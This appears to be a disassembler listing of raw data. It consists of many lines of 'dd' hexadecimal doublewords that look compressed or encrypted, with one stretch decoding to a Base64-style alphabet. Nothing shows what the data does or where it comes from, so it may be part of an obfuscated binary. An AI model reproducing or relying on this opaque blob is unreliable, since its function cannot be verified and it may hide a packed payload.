		dd 2BE35680h, 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h, 5D8D6300h
		dd 28C25F90h, 0E7FC0008h, 0A4F8C4CAh, 270045CEh, 48F324DAh
		dd 1E1E91EFh, 40441A22h, 7538920h, 0C0074FC4h, 0E6E8D4A3h
		dd 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh, 803C2606h, 0C0FE02FCh
		dd 60752D0Ah, 59DE4ABh,	412E74C4h, 0A4A68146h, 5ECDE4F9h
		dd 3880500h, 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h,	0EB5BF0ABh
		dd 0A400CC88h, 0D8DEA1C3h, 1B8C41h, 7FD307Ch, 4DFF01F5h
		dd 7475F425h, 0BB0D00C4h, 3414DE45h, 0E40FC400h, 41AB127Eh
		dd 43290104h, 4B0B1F91h, 0F9987150h, 0DEC16031h, 6BB86600h
		dd 2E6C9622h, 9E1E00EBh, 9A88FC25h, 0DD004517h,	0F7EE7E0h
		dd 1CC9B258h, 808DF228h, 0BF065975h, 0C200AA9Ah, 45D36649h
		dd 64E31Ah, 0A9F938B4h,	847A16D8h, 736D3100h, 0C92E3283h
		dd 8DA70008h, 0D0445F46h, 0F5008925h, 0A03D0320h, 58227507h
		dd 4600BB09h, 119FA506h, 737B90AAh, 9D7E811Fh, 326B800h
		dd 0E1340h, 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h, 69053FFFh
		dd 2104E12Fh, 5B6C7048h, 83C44000h, 0E051ECA2h,	0E1D901F4h
		dd 72BFE837h, 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h,	83DD3C48h
		dd 0FAA8D401h, 0FC410B70h, 9A00DA09h, 0F8EF80BCh, 7E675DFh
		dd 3187BF2h, 9B6BF0BAh,	4400148Ah, 7DDE515h, 8E8C0h, 660F7004h
		dd 45E33005h, 621DE27Ch, 480032EBh, 64CBCAAh, 82F0073h
		dd 8205C879h, 0C00F83Bh, 0A303C96h, 712FF83h, 8027730Fh
		dd 351F707Ch, 44E425C6h, 4FE00E00h, 0FE0D781Ah,	13800011h
		dd 0EBED7739h, 2F981F14h, 3128A601h, 525F9862h,	7A533530h
		dd 21190325h, 0F150A190h, 77835688h, 0C1303A00h, 389D6EAh
		dd 53120088h, 6A80C302h, 6008BEEh, 0A0042ECEh, 7CA0BC8h
		dd 0B46B840Fh, 79FC4069h, 5C2C9DAEh, 0EA008361h, 1EFF13F3h
		dd 607A00D1h, 1F7C04F6h, 0F4891BFh, 82D0EFDh, 81A70064h
		dd 0B6B3DAh, 15730DE0h,	0E0549F2h, 27D22103h, 98989378h
		dd 0DFF410h, 0B8D7146Dh, 0C22B122Ah, 0DA790104h, 9FC18534h
		dd 0E44062F5h, 614057h,	0F7A4B91Bh, 0C0DF6A1h, 0F93DFE00h
		dd 24C4811Eh, 1F75000Fh, 0EBECCC49h, 0A00397Bh,	0AA3004C1h
		dd 1E7820h, 2122D489h, 0EA44316Ch, 0B009873h, 3134C8Dh
		dd 0C61602h, 80D58207h,	0F7D1853Fh, 0CCB9540Eh,	0E5EB271Fh
		dd 88D271E0h, 0D5FB008Ah, 6FF19E9h, 0B900F008h,	9D9B1CD1h
		dd 261EBA7Dh, 27E2DBh, 6BF89A6h, 0F600E8EEh, 3E13C185h
		dd 5C0DFF80h, 303AD7C5h, 464E0107h, 7075F0FCh, 7D008286h
		dd 53A0CE0h, 2C6699h, 1246152Bh, 3B1F0748h, 4AD8CE1Fh
		dd 0B0DF2400h, 5CD4B81Dh, 0E83B960Ch, 2A582B80h, 9C43D003h
		dd 0DE252404h, 0BDC11362h, 0AAFC8498h, 1C35F212h, 825002F9h
		dd 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h, 8AFF9B8Eh,	0D2A90266h
		dd 0B0179E26h, 0DD90C1E3h, 527F89BCh, 906D2800h, 0C30B859Bh
		dd 989900ACh, 4ECA4320h, 0C40027DDh, 0F03A2CF3h, 0F730Ah
		dd 290DDA26h, 0CE904349h, 53B80600h, 131CEA52h,	140E008Ah
		dd 619DB3CAh, 0A93D9428h, 6BE4002Ah, 9040EDD2h,	0F4FA0381h
		dd 720A9E9Ch, 2143801h,	0BCC54BB5h, 0B871F8h, 250E978Ah
		dd 0F0340F4h, 0B67850Fh, 7606A055h, 0FE81216h, 3F957AA7h
		dd 741B0520h, 1C002029h, 16B93862h, 3C278B40h, 0DF8FB015h
		dd 5B40C477h, 0B932D1B8h, 3D52073Fh, 34450030h,	0AF3F272Bh
		dd 43906Ah, 511008EEh, 88154B90h, 42003EB8h, 0E40C2344h
		dd 1E793A14h, 73918Ah, 85080A5Ch, 0B11E0490h, 210074FCh
		dd 2CEC64F8h, 60422CE0h, 56520027h, 97915014h, 0CF19507h
		dd 8762FC78h, 8225C008h, 0B8400073h, 8C5D54BCh,	8D0024D7h
		dd 158B64A8h, 8043F3h, 0CB4EC93Dh, 1C303312h, 9810BA00h
		dd 708D404Bh, 734F00D4h, 76B30BC4h, 743F8744h, 0EC7A8045h
		dd 5798F20Dh
		dd 258C006Fh, 302F206Eh, 42E4F178h, 1C0E397Eh, 0E7760410h
		dd 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h, 33E9ABAh
		dd 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh, 408A07D0h
		dd 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h, 71060B41h
		dd 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h, 53F8F420h
		dd 1F30E618h, 3085DF2h,	98DB0CE6h, 0F410E099h, 8D122E7Ch
		dd 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh,	0F2015AC3h
		dd 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h, 35FF983h
		dd 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h, 0C7003BF8h
		dd 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh, 0B507247Eh
		dd 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch, 1F0F5372h
		dd 0CC10E4C6h, 4E0002E0h, 0B8B9D75h, 0E498C985h, 0FF7A3E35h
		dd 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch,	4C770CBAh
		dd 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h, 3ABE5920h
		dd 16378099h, 0B1438D27h, 0E06E00C3h, 0E9775A35h, 0CC03CA55h
		dd 0C085C950h, 0C73CA876h, 0D6810033h, 0F30C5D70h, 100E540h
		dd 0DC92772h, 71C2F002h, 0D68B3E13h, 0CF507480h, 0F8D103D2h
		dd 87057539h, 0CEB3201h, 0B4A6B080h, 0A02F0054h, 91757948h
		dd 11FE42A5h, 0B657700h, 75676B5h, 5478ABh, 9D7B22BBh
		dd 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h, 0A049481Ch, 0CE34A11Dh
		dd 52E0880Ah, 0FED0845Fh, 77F23200h, 0C8F94CAh,	0FAD1004Bh
		dd 8A7F2089h, 11005653h, 0B8E1CB27h, 0ADA17h, 76F4F0Fh
		dd 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh, 759F008Bh, 5334AA87h
		dd 0C7027C8Dh, 0CA1E88A3h, 840740C3h, 28A00D5h,	274307ECh
		dd 0DE004647h, 7570B033h, 28E6E8h, 2A09BC80h, 4B26048Bh
		dd 16C78A00h, 0F13E0649h, 0F40000Dh, 0C8E65B81h, 7D3B0C34h
		dd 37311824h, 5711DCh, 40478014h, 0D97B754Bh, 28EFF100h
		dd 50390563h, 4E8E8B9h,	0CF498F20h, 0F8E280ECh,	0B100B054h
		dd 2E0BAFFh, 39735C8h, 496071A7h, 0D9B013FCh, 2900ADC2h
		dd 4B89A09Dh, 7CDB85h, 5843762Dh, 0A5799FD7h, 41023000h
		dd 0FF5EE180h, 0D9953C01h, 0E9181480h, 0C70A57E2h, 88A11C00h
		dd 0F21F75Dh, 408C0059h, 183C8D12h, 307F2AC3h, 2ED61F00h
		dd 2410A9EBh, 75217EABh, 0E3800002h, 0FC3245F3h, 75011A6Ah
		dd 0FE4134F0h, 0D670DFB6h, 0E52C0749h, 0E07D3173h, 0B9FF3E62h
		dd 4D9FD400h, 5F9589ECh, 9334001Ch, 9BDD88B0h, 1A1D0C71h
		dd 0A89DE410h, 6EB78680h, 0C776B4h, 0DE3D34Ah, 0D6E8FD4Fh
		dd 7E400401h, 4730BE21h, 0E0446130h, 13FF7D18h,	1A2CBFh
		dd 0AF4ED6FAh, 0F2B89F23h, 59760E9h, 5FE4FE00h,	82783EBAh
		dd 5816037Bh, 9297831Dh, 755BC998h, 33ADFC00h, 8D487C06h
		dd 89231FBBh, 0A7084157h, 61042035h, 904EF815h,	54A2FE03h
		dd 8041C59Ch, 7444342h,	48474645h, 4B4A0049h, 4E004D4Ch
		dd 0A51504Fh, 38545352h, 5801C655h, 62615A59h, 6564C063h
		dd 68676603h, 806B6A69h, 76E6D6Ch, 7271706Fh, 75740073h
		dd 780E7776h, 307A79h, 34333231h, 37361C35h, 2B390038h
		dd 24203D2Fh, 9D284Ch, 7D7B5D5Bh, 703A3B2Ch, 5C5F002Dh
		dd 927222Ah, 91000D0Ah,	0AAE4C4E0h, 7388E867h, 0DA950F04h
		dd 0C55E24FFh, 0C084EA21h, 0EC8B2706h, 1490B926h, 3620CB03h
		dd 70D5A801h, 15E60FFCh, 0C62080B5h, 5C49E960h,	9E099B00h
		dd 9C732D85h, 947A00FCh, 114A641Bh, 96FC6B5Bh, 8CEC9F00h
		dd 0DB2D16DCh, 0C39707C0h, 914B5421h, 0FC66C204h, 190759E4h
		dd 941FEBECh, 956BC70h,	4052008Ah, 0D4CF5C7Ch, 33001571h
		dd 0FF273929h, 3C4BA3F4h, 790010FDh, 83481F05h,	400093C8h
		dd 0A5CEB6F0h, 823252h,	0D98CD5F4h, 0C6660347h,	11F01600h
		dd 5521429Fh, 4ABF0051h, 6C7EE292h, 0BB0076E1h,	0EB071569h
		dd 41B929h, 0DC30630Ah,	0AB83E806h, 5600807Eh, 0E7C1157Ch
		dd 0F869CFh, 8BFD097Dh,	7E58562h, 8F82B80Eh, 464BC10Bh
		dd 3D60ED05h, 76EA00F0h, 2BBCE14h, 0C7143032h, 0CAF468h
		dd 0EFC11A13h, 1C6FF24h, 336AD94h, 41FA6E7Eh, 2B13ED8Ch
		dd 6AA1B0h, 0A6C246Dh, 7BEF947Fh, 15684A00h, 648CD44h
		dd 387A4Bh, 519E418Bh, 2F02BAF3h, 921ACF07h, 0E83084E9h
		dd 7BDD206h, 0A7EC4FF9h, 2ADF90C2h, 2004589h, 169F4999h
		dd 0ECD9C65Ah, 6B7623h,	2F42C288h, 0F0CA36FFh, 0BA70E100h
		dd 0F969CB33h, 0AD5C00D4h, 6068A240h, 627F6FD8h, 3BB50303h
		dd 0A86D5AA4h, 1FE361Dh, 5315C83Fh, 0D4952D01h,	0D8023B81h
		dd 0C029B27Ch, 6EE0E01Bh, 592EC49h, 50B1C594h, 2132839Fh
		dd 0B2525207h, 62B071C4h, 790B0A0Dh, 1EB473FFh,	15D80CAh
		dd 0B186A9C6h, 0A33EF44Fh, 50495307h, 16B5B95Bh, 32A0C1C7h
		dd 0FC982A64h, 0F8281C13h, 5EB9C023h, 52250194h, 4690200h
		dd 484EB36Fh, 0A25F0010h, 0BF446CF0h, 25001609h, 9DC24FAEh
		dd 3081B8h, 9208E2C1h, 0E90071Dh, 47D10B00h, 75484B0Dh
		dd 782E74EEh, 0FAB70066h, 498A01D3h, 0C0F8840h,	206A4306h
		dd 0E183CAC1h, 6CD5003Fh, 184C2596h, 0EAFA270Eh, 6031E70Fh
		dd 0D6D4006Bh, 79FC6ACh, 68B1527Fh, 900A97C9h, 750BCB7Eh
		dd 6B80D100h, 902D37D8h, 0B85000E6h, 477CE29Fh,	3F72A4A3h
		dd 4058AB00h, 252785A1h, 9F000C6h, 5F1CF405h, 8F000F15h
		dd 334E99A4h, 0EC859A23h, 0F36A0058h, 0CAA15AA9h, 761E05F1h
		dd 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h, 0A2D0D6F5h, 0A4EC64h
		dd 0F692FF30h, 75023A07h, 0E2C64600h, 94D701EFh, 0F83E0F17h
		dd 7CC08483h, 0B6D44733h, 0BCA8E07h, 5E90148Dh,	139629h
		dd 0C9241C1Eh, 0FE0274B1h, 1ADC0900h, 0D280B8FFh, 3B5E079h
		dd 754F4304h, 7DD830D3h, 10017414h, 0C45B1FFh, 0C03E3B08h
		dd 0A689057Ah, 2EDDF400h, 44D12D1h, 341D0F65h, 4700F78Ah
		dd 0FD44F8A1h, 0A200D9E4h, 6590899Dh, 582E38h, 0F02D704Fh
		dd 10E9A151h, 0A2271801h, 74532F85h, 0BCD1D8h, 0B9546A1Dh
		dd 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h, 1E8AEB5h, 0F6B02BCFh
		dd 20E6D655h, 0F0122C84h, 9CECC3FAh, 0D465007Eh, 0C1E4ED15h
		dd 0F7000316h, 0CE2B94BFh, 756247h, 12EC04B9h, 0A7C82728h
		dd 1114D3Ch, 2EDE2CD3h,	0C0D7A242h, 1EAED4A3h, 8FCAA4E4h
		dd 5A3DD69h, 0DCB87610h, 0D0018BD7h, 89DF6F62h,	9220A270h
		dd 107891h, 13A9D812h, 2C78F0CBh, 80060B00h, 60E25C3Bh
		dd 4BFEFEh, 0B57EB0DEh,	0E5BD2AECh, 154F1B00h, 194558F4h
		dd 927777h, 7FB7DD56h, 5E5F630Bh, 0F4716001h, 91A5C438h
		dd 875F0h, 0F24A5A33h, 44022717h, 41A4EF00h, 69E95748h
		dd 5FEC6Fh, 37814531h, 9453885Bh, 57018D7Ah, 0E8719D0Dh
		dd 46C847BFh, 17C800A0h, 5FC34287h, 34029CDDh, 0F0C5FC91h
		dd 2256C1AAh, 3812CCh, 72F77DA4h, 19681384h, 0C174C600h
		dd 505FC752h, 0A69F00BDh, 9D0F7386h, 2C000279h,	34EC9632h
		dd 64AF37h, 39C495C6h, 56B29EB3h, 0C585F71Fh, 4DB86345h
		dd 0C3EC58C0h, 0D31D003Fh, 0A632E606h, 0A094B17h, 0CDE7B1h
		dd 3A25A58Eh, 0E6AAEC29h, 93FA0044h, 0D01B9266h, 5E01BB65h
		dd 14B45026h, 2AD419F2h, 0C79F0987h, 0E60089A9h, 0AF560574h
		dd 316F839h, 9CB466ACh,	0D88CC364h, 758BDDh, 4B937C2Fh
		dd 6A24A058h, 7A820300h
		dd 5AC773A4h, 0BA727Eh,	27841D5h, 0C327116Ch, 4B8E5901h
		dd 0A6B01E5Fh, 40D2ECh,	7517496Fh, 227C3966h, 0A39F4507h
		dd 86202F71h, 0D94161h,	7BDB2529h, 676F881h, 35A85500h
		dd 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh,	0AC034A08h
		dd 0E88237EBh, 641AE2h,	0A6432101h, 9854B34Ah, 0FC93B909h
		dd 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h, 0B062A7h
		dd 42BFC963h, 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah, 124F1D5Bh
		dd 9C5C044h, 2C464772h,	40703802h, 7D94C0AAh, 0E8C0230Fh
		dd 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh,	1AD2052Fh
		dd 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h, 100B002Eh
		dd 0E881A64Ah, 910F2924h, 60F164A5h, 9F0D9669h,	95840046h
		dd 866A4BF6h, 0E8075414h, 302B75FCh, 0F0CBE693h, 0E329BAh
		dd 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h, 5A59A165h, 70A580F4h
		dd 0A62107E2h, 436C14C4h, 35A94485h, 5F51E0DCh,	92F46000h
		dd 0C9311EFCh, 0CA090549h, 80405553h, 0C807302Dh, 94E98800h
		dd 0B6F2E06Ch, 667C08h,	0D806EBD1h, 35F00973h, 83203E1Ch
		dd 0B8F38100h, 0CEFEEDh, 31EB1C75h, 4FDA8EC1h, 5BD5E100h
		dd 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h, 61004384h, 97C447D4h
		dd 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h, 0BBFC59ADh
		dd 80F3A53Eh, 46712D63h, 7B849743h, 0FC1807B2h,	518A1403h
		dd 0C09DDF92h, 9EB0D368h, 0F8043Dh, 5DD0D45Fh, 3CC60150h
		dd 8980B0A2h, 85FC29B7h, 4DEE17A9h, 7B2CDC00h, 5A241051h
		dd 0E8010021h, 0B1ECDD4Fh, 93057102h, 52DF2347h, 0F31617C0h
		dd 4FAC0028h, 77E50FCCh, 3E002941h, 0C8099412h,	1B1697h
		dd 0F9A8072Dh, 7CD15A58h, 0F0564500h, 0BA51F6E6h, 5B380160h
		dd 0CE077948h, 0B146CCEBh, 10FE8300h, 0C1ECF1EDh, 0DC95005Eh
		dd 96D37224h, 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh, 8CB000E6h
		dd 70834FF8h, 7C0058FFh, 3C709EFh, 9160C0h, 0A8A0048Ah
		dd 3B94980Bh, 61114A00h, 51010244h, 0E3C10012h,	88C33683h
		dd 71174606h, 2800295Fh, 34B264ABh, 0A58B1DAEh,	0E45200D2h
		dd 92B2CB1h, 5CC45905h,	0C8016278h, 565B5A02h, 7F89760h
		dd 8BFC12AAh, 40C2B7F3h, 789E7908h, 0B1A96000h,	985E58Eh
		dd 0FE500134h, 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h, 7400197Bh
		dd 49CF5C1Fh, 1D952044h, 8D1118h, 0CEEA2FA3h, 0AB984556h
		dd 58B02100h, 209EA967h, 2AF3007Eh, 2C29BC6Dh, 0D8E89F57h
		dd 0CA529C00h, 42A4968Fh, 0D575FFh, 0ABE8C3C1h,	290C3292h
		dd 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h, 1C77CEEDh
		dd 61E2BA6h, 814097AAh,	0E38D5426h, 5E280070h, 0DCBC2C4Fh
		dd 0F277C28Bh, 0B689E200h, 912F1CAAh, 834000E4h, 64751EF8h
		dd 0DE019A5Dh, 0E83120BBh, 646049A3h, 0B7241E79h, 0A2A500A9h
		dd 4659DE5Ch, 62B52900h, 2EA68A3Dh, 891A0010h, 0AE1F783Bh
		dd 0EF1E200Dh, 0A2405096h, 8B100E75h, 0A98D00FEh, 7ADF1DEh
		dd 6600A5F3h, 2D5B1E29h, 51AABDh, 0CBCC734Ch, 0C9705CB8h
		dd 0BD4E000h, 3F77FC45h, 29C400F5h, 7C27785Eh, 4C0081A9h
		dd 0B22B1ED9h, 3B8352C0h, 0BD0088DAh, 0B3ABFE59h, 0B900D40Ah
		dd 33B4A913h, 1420AAh, 5F90C3C9h, 0AF81EA92h, 5108B900h
		dd 0E97C805Eh, 126E001Fh, 7B74A9DDh, 500EB3Bh, 570F01B5h
		dd 0C282Ch, 92049EC8h, 0CCE40DC9h, 0EE063Ch, 10D008D4h
		dd 0F831FCh, 1DD87D89h,	59226421h, 0AC1F34F8h, 0F60080E0h
		dd 528AACBh, 0BCD400C8h, 0B3E81662h, 0BE002B24h, 0D01EBA19h
		dd 7E33D802h, 2C050049h, 0EB63D759h, 32002126h,	0F21E6FCCh
		dd 2C1CC851h, 8E0BF7h, 2331716Ah, 600159Bh, 0E14CBA84h
		dd 0D2CBFAh, 0CE2824Bh,	779808DAh, 9A0B2700h, 3B42D6D3h
		dd 9FB0ACh, 6759C2C8h, 5CD42630h, 9600DEFAh, 1B88CCE8h
		dd 0DC7EADh, 50E94151h,	0FBFE7DBh, 0BCDE6300h, 440C70B1h
		dd 94EF0361h, 0A82414E3h, 2010709Fh, 0AC0040B0h, 39B481B8h
		dd 0F85BC5h, 0B6BE24FCh, 0DC224972h, 20581D73h,	0A4AD004Eh
		dd 19FA1E82h, 0E00200B8h, 0B449DC3Bh, 0D2732D16h, 36C5Ch
		dd 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h
		dd 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh,	0B6E0DE51h
		dd 505BAA8h, 64F9E3ECh,	0F195A50Ah, 54189107h, 8F200DBh
		dd 1FD84293h, 814EB914h, 89D2D0B2h, 0CC1C9E64h,	988603FDh
		dd 0C80A91D9h, 53AE5Bh,	175874DBh, 0EF0B4A4Eh, 0FF9CF018h
		dd 0EC7552h, 185F8068h,	0F4E363C1h, 0E02BA00h, 1E4E1077h
		dd 0E48C01AFh, 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h
		dd 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h
		dd 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh
		dd 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h
		dd 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh
		dd 4C0092DFh, 11D46D0h,	0F87032h, 0F4F15DD5h, 0EC933C2h
		dd 0A9CAD200h, 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h
		dd 8722703Fh, 0F5933Fh,	8F060F38h, 3BE30811h, 1680FA0Ah
		dd 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h
		dd 5C0E479Ch, 79535400h, 694C0901h, 31500062h, 736DC81Eh
		dd 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h
		dd 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h
		dd 0EB124DD3h, 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h
		dd 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h
		dd 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh
		dd 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh
		dd 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h
		dd 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh
		dd 8464BDFh, 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh
		dd 78B9F6FFh, 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh
		dd 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h
		dd 80EDAD2Fh, 6890DD1h,	4938F800h, 5328BAC6h, 0CB150A91h
		dd 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h
		dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
		dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h,	26DB2200h
		dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h,	874F987Fh
		dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh,	8A032D2h
		dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h,	5F8BA400h
		dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h,	66FF9BCh
		dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h,	9F3C1043h
		dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h,	212DB350h
		dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
		dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
		dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch,	295C0097h
		dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
		dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
		dd 7C477574h, 9251EE4h,	37B30FB9h, 0C26308A7h, 8940A2D6h
		dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
		dd 63210069h
		dd 0ECFC6579h, 9400478Dh, 542DF450h, 7F5ABAF0h,	65B60026h
		dd 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h,	559D8A6h
		dd 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh, 7AC40E11h, 9A6FA3B5h
		dd 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh, 4D7B00E2h
		dd 5290E3C8h, 88042345h, 0EC44B581h, 394F73C0h,	0E483902Ch
		dd 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch,	0B85D3207h
		dd 89C9B412h, 26AA00FAh, 82EFF4h, 51CE7D8Dh, 0FDC39257h
		dd 6642411Eh, 21F34C47h, 387EBC7Ch, 0BF00493Eh,	19EBE8D2h
		dd 0A800C3BEh, 0B48EA30Eh, 9E2FACh, 1DA6759Fh, 42485536h
		dd 62034BF8h, 0D89B545h, 44A9D06Dh, 0A5CE0191h,	22D725BFh
		dd 0B8AFC47h, 0AC644A00h, 0F819F669h, 0A829001Ah, 0DF54E20h
		dd 7BB8BA2Ch, 3F6051ECh, 0BE80D616h, 105E0BB9h,	28808875h
		dd 0CCAB85FBh, 0D6502607h, 0E71FE031h, 558044BEh, 3E25D2F4h
		dd 74047864h, 0C0A040FBh, 0F02E13D3h, 0D8482AE8h, 48CD0076h
		dd 9559B745h, 0E2050078h, 0C1BAD5B8h, 5400F8DCh, 0E18ED34Ah
		dd 2EC4694Bh, 0C19062h,	88792B52h, 650078BFh, 80C1B0B7h
		dd 107EBh, 3A740472h, 7D956E67h, 755CE9F8h, 1451006Ch
		dd 9EE325Dh, 0E590028Ah, 4DD78970h, 0BE81D489h,	0D804B84Fh
		dd 1E00FDA2h, 0A1383652h, 20E6305h, 1D451723h, 0DA401929h
		dd 92FE8048h, 0F104741Dh, 0FDA5E7C0h, 7CDE4F4h,	0F00693FAh
		dd 0B92F9061h, 0BB00793Fh, 4A97892Bh, 1835B59h,	8E1CC778h
		dd 700AFB45h, 0C90013BBh, 4B7E0D0h, 2659FA5Fh, 0DE010Dh
		dd 0E7557C8Ah, 0E8074284h, 5319A76Bh, 0FF046FE0h, 57933E8Eh
		dd 0C85A1A00h, 8FB083FEh, 0A7E2F03h, 9880E10Fh,	0F94594h
		dd 15086EEBh, 81C49610h, 67D38600h, 0A528F895h,	0C5AD1F41h
		dd 0FE830001h, 0FC457E02h, 0B000998h, 3E7DF03Bh, 0FA4178h
		dd 0B838147Fh, 48A08203h, 0D4287528h, 2421F800h, 0B1541A22h
		dd 102EC84h, 0AFFB672Dh, 60DC68C2h, 0F4CF45Dh, 80553EADh
		dd 0B9368BC5h, 3CD20873h, 0B897304Ah, 0EE8800A7h, 0E4C16D7h
		dd 616C4300h, 1C8E3373h, 0C8460048h, 0ACA754D9h, 0F03E8B0Ah
		dd 347D80CAh, 24B50CE2h, 0B8A20F44h, 0B9C0233Eh, 847252A4h
		dd 0F414D005h, 2EC003F9h, 1326FE9h, 36FFC327h, 30E025E2h
		dd 5C484A69h, 7CBC000Fh, 0A72B20D1h, 99D4004Ch,	6BBAAAC4h
		dd 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h, 0CC563334h, 1845CE8h
		dd 0DC60FC27h, 0F42D4628h, 0BE4A2FFh, 88008398h, 3B633169h
		dd 7FC99E21h, 0F9E5000Ah, 4E47C14Bh, 0DB98DB75h, 0A95B1207h
		dd 0CCD0CF69h, 0E8BAB113h, 95030097h, 20F1407Bh, 2300DC4Fh
		dd 12C0262Eh, 0E738EDD4h, 36C85E8h, 0F575A8BBh,	0BE88A9B0h
		dd 7276CF3Eh, 0D68A4200h, 0C8F8910Eh, 8D8E00DAh, 7DD2DC70h
		dd 0D77B86F2h, 4DCB30EBh, 3E73E700h, 1B094892h,	0D67B16h
		dd 0BEB5205Fh, 6F67699Dh, 2F652500h, 7BBB7389h,	997200B6h
		dd 622ED8ACh, 5C00F814h, 2DDAC408h, 7FF5BD48h, 0AF250085h
		dd 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh, 1174A03Dh, 0B239CBh
		dd 0EB057D0Bh, 0FF35EFAAh, 4831B800h, 84D4295Dh, 34FC0064h
		dd 62B995EDh, 0A800CBF8h, 0D88831FFh, 0E4870803h, 4498004Ah
		dd 0F2750F45h, 0C40043A3h, 528EBCF0h, 7FB58B5Fh, 4D85006Bh
		dd 4EB8BD7Bh, 22606CBh,	7500DB83h, 49975E77h, 50032429h
		dd 94C60329h, 0CEFBECC3h, 0FC7B0A00h, 0ED45AA09h, 64407A7h
		dd 906A1863h, 86D89A3Bh, 10AE7B00h, 2474DC2Fh, 1D1707D9h
		dd 0FE201319h, 575AA00h, 0AE000AC5h, 5EEEE674h,	3F105CB0h
		dd 34818ACCh, 0BA169DF8h, 0BC59C0BEh, 0E484261Eh, 5B008B1Dh
		dd 438AC268h, 0F88807BDh, 5728D152h, 42D480A4h,	1C002521h
		dd 890F0C4Eh, 533F43h, 8FB64B8Eh, 0BD91C52Eh, 0AD3AB200h
		dd 0CEE9143Ch, 66D6001Ah, 5161DA4Bh, 1FA109Dh, 0BEFC8A07h
		dd 85308F58h, 79A8D9ECh, 5F72014Eh, 3DE45570h, 79F0F430h
		dd 3F538B01h, 0D0CFCC9Ch, 0D37330h, 68F810D9h, 21BE42B8h
		dd 0D611EC00h, 0F49061DFh, 0ABF300E5h, 0FA649793h, 0AE7637F5h
		dd 0D3742000h, 4E030688h, 63C817ACh, 43030004h,	79FA013Eh
		dd 575D9600h, 0CA974E39h, 0E0C7007Ch, 9E14998Bh, 5E0080BEh
